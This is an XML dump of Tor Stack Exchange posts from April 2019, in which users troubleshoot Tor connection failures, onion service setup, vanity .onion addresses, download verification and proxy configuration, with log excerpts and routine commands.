  <row Id="19725" PostTypeId="1" CreationDate="2019-04-12T14:58:27.410" Score="0" ViewCount="100" Body="&lt;p&gt;NoScript detected a potential Cross-Site Scripting attack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;https://www.sonabank.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sonabank.com&lt;/a&gt; to &lt;a href=&quot;https://web13.secureinternetbank.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://web13.secureinternetbank.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suspicious data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cannot seem to proceed past this warning. Newbie to TOR and trying to go exclusively TOR for financials and legalities.&lt;/p&gt;&#xA;" OwnerUserId="25703" LastActivityDate="2019-04-12T14:58:27.410" Title="Trying to use online banking for the 1st time using tor - what is this warning?" Tags="|error|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19728" PostTypeId="2" ParentId="16854" CreationDate="2019-04-13T08:08:16.927" Score="0" Body="&lt;p&gt;Actually VPN hides your IP from ISP but the VPN server will know your real IP address and your packets' destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've described the two scenarios of using TOR through VPN and VPN through TOR in my site. The picture below depicts the situation. &lt;strong&gt;For more information you may check the &lt;a href=&quot;https://mstajbakhsh.ir/vpn-or-tor-this-is-the-problem/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post&lt;/a&gt; in my site&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4Plxr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Plxr.png&quot; alt=&quot;VPN Through TOR and vice versa&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-04-13T08:08:16.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19730" PostTypeId="1" CreationDate="2019-04-13T23:27:59.270" Score="0" ViewCount="1117" Body="&lt;pre&gt;&lt;code&gt;4/13/19, 23:25:23.451 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/13/19, 23:25:23.451 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/13/19, 23:25:23.451 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/13/19, 23:25:23.451 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;4/13/19, 23:25:23.451 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;4/13/19, 23:25:23.451 [NOTICE] Renaming old configuration file to &quot;C:\Users\&amp;lt;username&amp;gt;\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.2&quot; &#xA;4/13/19, 23:25:23.451 [NOTICE] Bootstrapped 5% (conn): Connecting to a relay &#xA;4/13/19, 23:25:23.508 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay &#xA;4/13/19, 23:25:35.572 [WARN] Problem bootstrapping. Stuck at 10% (conn_done): Connected to a relay. (DONE; DONE; count 10; recommendation warn; host 74A910646BCEEFBCD2E874FC1DC997430F968145 at 199.58.81.140:443) &#xA;4/13/19, 23:25:35.572 [WARN] 10 connections have failed: &#xA;4/13/19, 23:25:35.572 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;4/13/19, 23:25:35.588 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;4/13/19, 23:25:35.589 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/13/19, 23:25:35.589 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25711" LastEditorUserId="5234" LastEditDate="2019-04-14T15:03:19.073" LastActivityDate="2022-02-09T00:03:09.000" Title="anyone know why my tor wont connect" Tags="|configuration|connection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19731" PostTypeId="2" ParentId="19711" CreationDate="2019-04-14T11:27:57.350" Score="2" Body="&lt;p&gt;If you're on Linux you can use &lt;code&gt;wmctrl&lt;/code&gt;. You may need to install it first. You can use a command like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wmctrl -r Tor -e 0,0,0,1000,600&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;code&gt;man wmctrl&lt;/code&gt; for more on how to use it. In the example, &quot;Tor&quot; is a substring that should find and isolate your window (unless it appears in more than one). &lt;code&gt;1000,600&lt;/code&gt; appears to be the default window geometry, but may vary based on platform and screen resolution.&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2019-04-14T11:27:57.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19732" PostTypeId="1" CreationDate="2019-04-14T13:53:42.520" Score="1" ViewCount="154" Body="&lt;p&gt;I'm a developer and I'm thinking of using the Tor network (custom implementation of the spec.) in a commercial non-opensource service as a platform. I would like to know if my service which is based on the Tor network counts as based on Tor ? If so, should I contact Tor about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="25428" LastActivityDate="2021-01-25T08:01:30.260" Title="Does using Tor network in a commercial service make it a commercial use of Tor?" Tags="|legal|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19733" PostTypeId="1" CreationDate="2019-04-14T23:12:34.040" Score="0" ViewCount="387" Body="&lt;p&gt;I am trying to create an Onion Service however in the configuration guide it appears that Tor generates a random .onion url for each service so I was wondering if there was a way to get a particular .onion url or one containing a specific string or set of words. &lt;/p&gt;&#xA;" OwnerUserId="25715" LastEditorUserId="5234" LastEditDate="2019-04-18T22:47:03.093" LastActivityDate="2019-04-18T22:47:03.093" Title="Is it possible to get a specific .onion domain or a domain containing a certain string?" Tags="|onion-services|onion-routing|website|" AnswerCount="1" CommentCount="1" ClosedDate="2019-04-18T22:46:20.143" ContentLicense="CC BY-SA 4.0" />
  <row Id="19734" PostTypeId="1" CreationDate="2019-04-15T15:44:40.790" Score="0" ViewCount="364" Body="&lt;p&gt;I have downloaded tor but it is acting a bit funny ,&#xA;I used to configure bridges or tails , but after I signed in I have no access to configure as I live where  ISP is doing deep inspection and everything is censored. &#xA;2- I am not sure if I am using fake tor browser.&#xA;I appreciate any kind of help &#xA;Baback&lt;/p&gt;&#xA;" OwnerUserId="25720" LastActivityDate="2021-12-31T00:04:25.447" Title="How to know if this tor browser downloaded is not fake?" Tags="|configuration|bridge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19735" PostTypeId="2" ParentId="19734" CreationDate="2019-04-15T18:07:58.887" Score="0" Body="&lt;p&gt;This can be done quite easily under normal circumstances. You will have to verify the signature and the sha256sum. A detailed description how to do this can be found &lt;a href=&quot;https://2019.www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; on the official Tor project page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since you mentioned that your ISP is monitoring you, you should be aware of the fact that merely opening the Tor project webpage may cause some alert. You didn't mention where you downloaded Tor. If it wasn't from the official page and you need to avoid all officially Tor-related sites, it might get difficult to actually verify it.&lt;/p&gt;&#xA;" OwnerUserId="25426" LastEditorUserId="25426" LastEditDate="2019-04-15T18:45:51.260" LastActivityDate="2019-04-15T18:45:51.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19737" PostTypeId="2" ParentId="19733" CreationDate="2019-04-15T20:32:18.227" Score="0" Body="&lt;p&gt;There are ways to get custom .onion addresses that begin with particular strings.  I have most recently found Scallion to be the easiest to use.  Scallion is an open-source project on Github that has been around for awhile and has full instructions for use in the readme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/lachesis/scallion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have generated your vanity hostname and private key, you'll replace the files &lt;code&gt;hostname&lt;/code&gt; and &lt;code&gt;private_key&lt;/code&gt; in the &lt;code&gt;/var/lib/tor/hidden_service/&lt;/code&gt; folder of your server and restart the service.  If you did it correctly, your hidden service will be accessible over your vanity onion address.&lt;/p&gt;&#xA;" OwnerUserId="19680" LastActivityDate="2019-04-15T20:32:18.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19739" PostTypeId="1" CreationDate="2019-04-17T02:00:52.880" Score="0" ViewCount="806" Body="&lt;p&gt;Every time I try to run tor as non root I get the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Directory /var/lib/tor/hidden_service/ cannot be read: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So then when I run it as root it says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You are running Tor as root. You don't need to, and you probably shouldn't.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get a tor website running on my pi. What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I fixed it. Apparently the /var/lib/tor folder is owned by a used &quot;debian-tor&quot;. Run tor with &lt;code&gt;sudo -u debian-tor tor&lt;/code&gt; to get it to work&lt;/p&gt;&#xA;" OwnerUserId="25733" LastEditorUserId="25733" LastEditDate="2019-04-18T02:47:07.847" LastActivityDate="2019-04-18T02:47:07.847" Title="Shouldn't run tor as root, can't run tor as non-root" Tags="|configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19746" PostTypeId="1" AcceptedAnswerId="19943" CreationDate="2019-04-18T19:53:45.137" Score="0" ViewCount="356" Body="&lt;p&gt;I'm using &lt;code&gt;kalitorify&lt;/code&gt; and on the website it shows changed IP address. What about IP in the game that I'm running on wine? How can I check it?&lt;/p&gt;&#xA;" OwnerUserId="25593" LastActivityDate="2019-06-05T02:57:09.663" Title="How to check what IP wine sees?" Tags="|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19747" PostTypeId="2" ParentId="7126" CreationDate="2019-04-18T20:12:59.877" Score="1" Body="&lt;p&gt;You are not doing anything wrong. That's exactly how it works. In TOR, proxy is meant to bypass security restrictions and filters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it possible, &lt;strong&gt;traffic is passed through the proxy server at the starting place not at the end&lt;/strong&gt;.&#xA;&lt;br/&gt;I.e., &lt;strong&gt;browser -&gt; proxy server -&gt; TOR network -&gt; website&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you disable Torbutton  add-on as others suggests, it will open vulnerabilities by allowing some kind of active contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iiVtn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iiVtn.png&quot; alt=&quot;tor browser screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25748" LastEditorUserId="25748" LastEditDate="2019-04-18T20:20:19.947" LastActivityDate="2019-04-18T20:20:19.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19749" PostTypeId="1" CreationDate="2019-04-19T17:18:44.307" Score="0" ViewCount="1136" Body="&lt;p&gt;Have cloned the git library for obfs4 from &lt;a href=&quot;https://github.com/Yawning/obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Yawning/obfs4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have installed go version go1.11.5 linux/amd64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to follow the Readme.md build instructions, but the build fails with Error 404 file not found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;go build -o obfs4proxy/obfs4proxy ./obfs4proxy&#xA;go: finding gitlab.com/yawning/utls.git v0.0.10-1&#xA;go: gitlab.com/yawning/utls.git@v0.0.10-1: git fetch -f https://gitlab.com/yawning/utls refs/heads/*:refs/heads/* refs/tags/*:refs/tags/* in /root/work/pkg/mod/cache/vcs/f923860f723f34e4b0e4888426f2ddac74b64cf389f0d13e9bf5cc235784502b: exit status 128:&#xA;        error: RPC failed; result=22, HTTP code = 404&#xA;        fatal: The remote end hung up unexpectedly&#xA;go: error loading module requirements&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot get past this point.  Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="25486" LastActivityDate="2020-04-26T16:03:05.303" Title="Installing obfs4proxy on Centos / Fedora" Tags="|obfs4proxy|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19751" PostTypeId="1" CreationDate="2019-04-21T22:39:23.227" Score="0" ViewCount="105" Body="&lt;p&gt;Very hard to trust Tor, when no functioning install package exists. No install..I've done 25+...ever results in a nice clean install that doesn't result in unanswered questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Latest install attempt generates the following message during install:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;aptSuggested packages:&#xA;  mixmaster torbrowser-launcher tor-arm apparmor-utils obfs4proxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is one supposed to do with these? If the install routine generates the message, why is it not covered somewhere in the FAQs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="25762" LastActivityDate="2019-06-05T06:01:15.400" Title="Tor suggested packages" Tags="|packages|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19756" PostTypeId="1" CreationDate="2019-04-24T03:03:12.633" Score="0" ViewCount="460" Body="&lt;p&gt;I set up a DirServer and 3 relays, but my client can not build a circuit.&#xA;My info.log is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 23 19:52:26.000 [notice] Tor 0.3.2.10 (git-0edaa32732ec8930) opening new log file.&#xA;Apr 23 19:52:26.597 [notice] Tor 0.3.2.10 (git-0edaa32732ec8930) running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.0g, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd 1.3.3.&#xA;Apr 23 19:52:26.598 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 23 19:52:26.598 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Apr 23 19:52:26.598 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Apr 23 19:52:26.603 [warn] You have used DirAuthority or AlternateDirAuthority to specify alternate directory authorities in your configuration. This is potentially dangerous: it can make you look different from all other Tor users, and hurt your anonymity. Even if you've specified the same authorities as Tor uses by default, the defaults could change in the future. Be sure you know what you're doing.&#xA;Apr 23 19:52:26.603 [warn] TestingTorNetwork is set. This will make your node almost unusable in the public Tor network, and is therefore only advised if you are building a testing Tor network!&#xA;Apr 23 19:52:26.603 [notice] Scheduler type KIST has been enabled.&#xA;Apr 23 19:52:26.603 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Apr 23 19:52:26.604 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Apr 23 19:52:26.000 [warn] Your log may contain sensitive information - you disabled SafeLogging, and you're logging more than &quot;notice&quot;. Don't log unless it serves an important reason. Overwrite the log afterwards.&#xA;Apr 23 19:52:26.000 [info] options_act_reversible(): Recomputed OOS thresholds: ConnLimit 60, ConnLimit_ 65504, ConnLimit_high_thresh 65440, ConnLimit_low_thresh 49128&#xA;Apr 23 19:52:26.000 [notice] Not disabling debugger attaching for unprivileged users.&#xA;Apr 23 19:52:26.000 [info] tor_lockfile_lock(): Locking &quot;/var/lib/tor/lock&quot;&#xA;Apr 23 19:52:26.000 [info] or_state_load(): Loaded state from &quot;/var/lib/tor/state&quot;&#xA;Apr 23 19:52:26.000 [info] sampled_guards_update_from_consensus(): Not updating the sample guard set; we have no live consensus.&#xA;Apr 23 19:52:26.000 [info] sample_reachable_filtered_entry_guards(): Trying to sample a reachable guard: We know of 0 in the USABLE_FILTERED set.&#xA;Apr 23 19:52:26.000 [info] sample_reachable_filtered_entry_guards():   (That isn't enough. Trying to expand the sample.)&#xA;Apr 23 19:52:26.000 [info] entry_guards_expand_sample(): Not expanding the sample guard set; we have no live consensus.&#xA;Apr 23 19:52:26.000 [info] sample_reachable_filtered_entry_guards():   (After filters [b], we have 0 guards to consider.)&#xA;Apr 23 19:52:26.000 [info] circuit_build_times_parse_state(): Adding 0 timeouts.&#xA;Apr 23 19:52:26.000 [info] circuit_build_times_parse_state(): Loaded 6/6 values from 4 lines in circuit time histogram&#xA;Apr 23 19:52:26.000 [info] circuit_build_times_filter_timeouts(): We had 0 timeouts out of 6 build times, and filtered 0 above the max of 60000&#xA;Apr 23 19:52:26.000 [info] read_file_to_str(): Could not open &quot;/var/lib/tor/router-stability&quot;: No such file or directory&#xA;Apr 23 19:52:26.000 [info] init_cookie_authentication(): Generated auth cookie file in '&quot;/var/run/tor/control.authcookie&quot;'.&#xA;Apr 23 19:52:26.000 [info] scheduler_kist_set_full_mode(): Setting KIST scheduler with kernel support (KIST mode)&#xA;Apr 23 19:52:26.000 [info] cell_ewma_set_scale_factor(): Disabled cell_ewma algorithm because of value in Default value&#xA;Apr 23 19:52:26.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Apr 23 19:52:26.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Apr 23 19:52:26.000 [info] add_predicted_port(): New port prediction added. Will continue predictive circ building for 2359 more seconds.&#xA;Apr 23 19:52:26.000 [info] crypto_global_init(): NOT using OpenSSL engine support.&#xA;Apr 23 19:52:26.000 [info] evaluate_evp_for_aes(): This version of OpenSSL has a known-good EVP counter-mode implementation. Using it.&#xA;Apr 23 19:52:26.000 [notice] Bootstrapped 0%: Starting&#xA;Apr 23 19:52:26.000 [info] trusted_dirs_load_certs_from_string(): Adding cached certificate for directory authority DA with signing key A1A869698E89F45DE3441C81F0AC1E4D1C31118C&#xA;Apr 23 19:52:26.000 [info] read_file_to_str(): Could not open &quot;/var/lib/tor/cached-consensus&quot;: No such file or directory&#xA;Apr 23 19:52:26.000 [info] read_file_to_str(): Could not open &quot;/var/lib/tor/unverified-consensus&quot;: No such file or directory&#xA;Apr 23 19:52:26.000 [info] A consensus needs 1 good signatures from recognized authorities for us to accept it. This one has 1 (DA).&#xA;Apr 23 19:52:26.000 [info] scheduler_kist_set_full_mode(): Setting KIST scheduler with kernel support (KIST mode)&#xA;Apr 23 19:52:26.000 [info] Choosing expected valid-after time as 2019-04-24 02:52:40: consensus_set=1, interval=20&#xA;Apr 23 19:52:27.000 [info] microdesc_cache_reload(): Reloaded microdescriptor cache. Found 6612 descriptors.&#xA;Apr 23 19:52:27.000 [info] update_consensus_networkstatus_fetch_time_impl(): Live microdesc consensus was the most recent until 2019-04-23 19:52:20 and will expire at 2019-04-23 19:52:40; fetching the next one at 2019-04-23 19:52:36.&#xA;Apr 23 19:52:27.000 [info] cell_ewma_set_scale_factor(): Disabled cell_ewma algorithm because of value in Default value&#xA;Apr 23 19:52:27.000 [info] read_file_to_str(): Could not open &quot;/var/lib/tor/unverified-microdesc-consensus&quot;: No such file or directory&#xA;Apr 23 19:52:27.000 [info] tor_mmap_file(): Could not open &quot;/var/lib/tor/cached-descriptors&quot; for mmap(): No such file or directory&#xA;Apr 23 19:52:27.000 [info] routerlist_remove_old_routers(): We have 0 live routers and 0 old router descriptors.&#xA;Apr 23 19:52:27.000 [info] tor_mmap_file(): Could not open &quot;/var/lib/tor/cached-extrainfo&quot; for mmap(): No such file or directory&#xA;Apr 23 19:52:27.000 [notice] Starting with guard context &quot;default&quot;&#xA;Apr 23 19:52:27.000 [info] sampled_guards_update_from_consensus(): Updating sampled guard status based on received consensus.&#xA;Apr 23 19:52:27.000 [info] sample_reachable_filtered_entry_guards(): Trying to sample a reachable guard: We know of 0 in the USABLE_FILTERED set.&#xA;Apr 23 19:52:27.000 [info] sample_reachable_filtered_entry_guards():   (That isn't enough. Trying to expand the sample.)&#xA;Apr 23 19:52:27.000 [info] entry_guards_expand_sample(): Expanding the sample guard set. We have 21 guards in the sample, and 1 eligible guards to extend it with.&#xA;Apr 23 19:52:27.000 [info] entry_guards_expand_sample(): Not expanding the guard sample any further; just hit the maximum sample threshold of 20&#xA;Apr 23 19:52:27.000 [info] sample_reachable_filtered_entry_guards():   (After filters [b], we have 0 guards to consider.)&#xA;Apr 23 19:52:27.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Apr 23 19:52:27.000 [notice] Signaled readiness to systemd&#xA;Apr 23 19:52:27.000 [info] routerlist_remove_old_routers(): We have 0 live routers and 0 old router descriptors.&#xA;Apr 23 19:52:27.000 [info] tor_getpwnam(): Caching new entry debian-tor for debian-tor&#xA;Apr 23 19:52:27.000 [notice] Opening Control listener on /var/run/tor/control&#xA;Apr 23 19:52:27.000 [info] tor_getpwnam(): Caching new entry debian-tor for debian-tor&#xA;Apr 23 19:52:28.000 [info] circuit_predict_and_launch_new(): Have 0 clean circs (0 internal), need another exit circ.&#xA;Apr 23 19:52:28.000 [info] choose_good_exit_server_general(): Found 2 servers that might support 0/0 pending connections.&#xA;Apr 23 19:52:28.000 [info] choose_good_exit_server_general(): Chose exit server '$1DDF03E9C34867C581F0DE8D6EAEC30A9188DB11~relay2 at 149.129.x.x'&#xA;Apr 23 19:52:28.000 [info] extend_info_from_node(): Not including the ed25519 ID for $1DDF03E9C34867C581F0DE8D6EAEC30A9188DB11~relay2 at 149.129.x.x, since it won't be able to authenticate it.&#xA;Apr 23 19:52:28.000 [info] sample_reachable_filtered_entry_guards(): Trying to sample a reachable guard: We know of 0 in the USABLE_FILTERED set.&#xA;Apr 23 19:52:28.000 [info] sample_reachable_filtered_entry_guards():   (That isn't enough. Trying to expand the sample.)&#xA;Apr 23 19:52:28.000 [info] entry_guards_expand_sample(): Expanding the sample guard set. We have 21 guards in the sample, and 1 eligible guards to extend it with.&#xA;Apr 23 19:52:28.000 [info] entry_guards_expand_sample(): Not expanding the guard sample any further; just hit the maximum sample threshold of 20&#xA;Apr 23 19:52:28.000 [info] sample_reachable_filtered_entry_guards():   (After filters [17], we have 0 guards to consider.)&#xA;Apr 23 19:52:28.000 [info] select_entry_guard_for_circuit(): Absolutely no sampled guards were available. Marking all guards for retry and starting from top again.&#xA;Apr 23 19:52:28.000 [warn] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;Apr 23 19:52:28.000 [info] onion_populate_cpath(): Generating cpath hop failed.&#xA;Apr 23 19:52:28.000 [info] circuit_mark_for_close_(): Circuit 0 (id: 1) marked for close at ../src/or/circuitbuild.c:514 (orig reason: -2, new reason: 0)&#xA;Apr 23 19:52:28.000 [info] circuit_free(): Circuit 0 (id: 1) has been freed.&#xA;Apr 23 19:52:28.000 [info] or_state_save(): Saved state to &quot;/var/lib/tor/state&quot;&#xA;Apr 23 19:52:29.000 [info] circuit_predict_and_launch_new(): Have 0 clean circs (0 internal), need another exit circ.&#xA;Apr 23 19:52:29.000 [info] choose_good_exit_server_general(): Found 2 servers that might support 0/0 pending connections.&#xA;Apr 23 19:52:29.000 [info] **choose_good_exit_server_general(): Chose exit server '$1DDF03E9C34867C581F0DE8D6EAEC30A9188DB11~relay2 at 149.129.x.x'&#xA;Apr 23 19:52:29.000 [info] extend_info_from_node(): Not including the ed25519 ID for $1DDF03E9C34867C581F0DE8D6EAEC30A9188DB11~relay2 at 149.129.x.x, since it won't be able to authenticate it.**&#xA;Apr 23 19:52:29.000 [info] sample_reachable_filtered_entry_guards(): Trying to sample a reachable guard: We know of 0 in the USABLE_FILTERED set.&#xA;Apr 23 19:52:29.000 [info] sample_reachable_filtered_entry_guards():   (That isn't enough. Trying to expand the sample.)&#xA;Apr 23 19:52:29.000 [info] entry_guards_expand_sample(): Expanding the sample guard set. We have 21 guards in the sample, and 1 eligible guards to extend it with.&#xA;Apr 23 19:52:29.000 [info] entry_guards_expand_sample(): Not expanding the guard sample any further; just hit the maximum sample threshold of 20&#xA;Apr 23 19:52:29.000 [info] sample_reachable_filtered_entry_guards():   (After filters [17], we have 0 guards to consider.)&#xA;Apr 23 19:52:29.000 [info] select_entry_guard_for_circuit(): Absolutely no sampled guards were available. Marking all guards for retry and starting from top again.&#xA;Apr 23 19:52:29.000 [warn] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;Apr 23 19:52:29.000 [info] onion_populate_cpath(): Generating cpath hop failed.&#xA;Apr 23 19:52:29.000 [info] circuit_mark_for_close_(): Circuit 0 (id: 2) marked for close at ../src/or/circuitbuild.c:514 (orig reason: -2, new reason: 0)&#xA;Apr 23 19:52:29.000 [info] circuit_free(): Circuit 0 (id: 2) has been freed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why it not able to authenticate the relay?&#xA;My relays already finished handshakes with each other, so I can't figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my DirServer logs a lot like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 24 10:49:31.000 [notice] While fetching directory info, no running dirservers known. Will try again later. (purpose 14)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this normal?&lt;/p&gt;&#xA;" OwnerUserId="25562" LastActivityDate="2019-04-24T03:03:12.633" Title="Can not connect toTor : not able to authenticate relays" Tags="|configuration|directory|client|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19759" PostTypeId="1" CreationDate="2019-04-24T09:25:33.907" Score="0" ViewCount="282" Body="&lt;p&gt;&lt;em&gt;Warning: It may looks like stupid question.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;Expert Bundle&lt;/code&gt; instead of &lt;code&gt;Tor Browser&lt;/code&gt; and config Firefox to use it (&lt;em&gt;I have my reasons&lt;/em&gt;). now when I visit &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt; I see following message &lt;em&gt;in beautiful green color&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Congratulations. This browser is configured to use Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That means my config is correct and using this method is same as using &lt;code&gt;Tor Browser&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: I know in &lt;code&gt;Tor Browser&lt;/code&gt; there is &lt;em&gt;I think&lt;/em&gt; no script addon installed and some other configs that helps better protection, I don't mean that kind of compare here.&lt;/p&gt;&#xA;" OwnerUserId="22620" LastActivityDate="2019-04-24T09:25:33.907" Title="If check.torproject.org shows congratulations message, that means my setup is working correctly?" Tags="|tor-browser-bundle|configuration|torcheck|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19760" PostTypeId="2" ParentId="13915" CreationDate="2019-04-24T17:03:43.673" Score="1" Body="&lt;p&gt;As far as I know, the default value for the SOCKS port in the proxychains config file is currently 9050. If you open the TOR Browser it uses port 9150 (you can check this with netstat). So this won't work out of the box. But if you run TOR standalone without TBB it opens on port 9050. You should be able to install TOR on Debian-based distros simply with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It then most likely already runs as service. If not start it with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use proxychains. But the reliability of proxychains is often questioned (regarding e.g. DNS or UDP). You probably should use torsocks or torify as these options were designed to protect against e.g. DNS leaks. Usage is pretty much the same as with proxychains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks application parameters&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25426" LastActivityDate="2019-04-24T17:03:43.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19766" PostTypeId="2" ParentId="18088" CreationDate="2019-04-25T20:35:27.267" Score="0" Body="&lt;p&gt;Tor develops a version of Tor Browser for Android. You can find it at the &lt;a href=&quot;https://dist.torproject.org/torbrowser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;download directory&lt;/a&gt;. This works similar to the Tor Browser for other operating systems which means you start the application. It then starts first Orbot and afterwards a specific instance of Firefox which is fully configured to send its connections over Tor. You can enter URLs and start surfing clearweb sites and also Onion sites.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-04-25T20:35:27.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
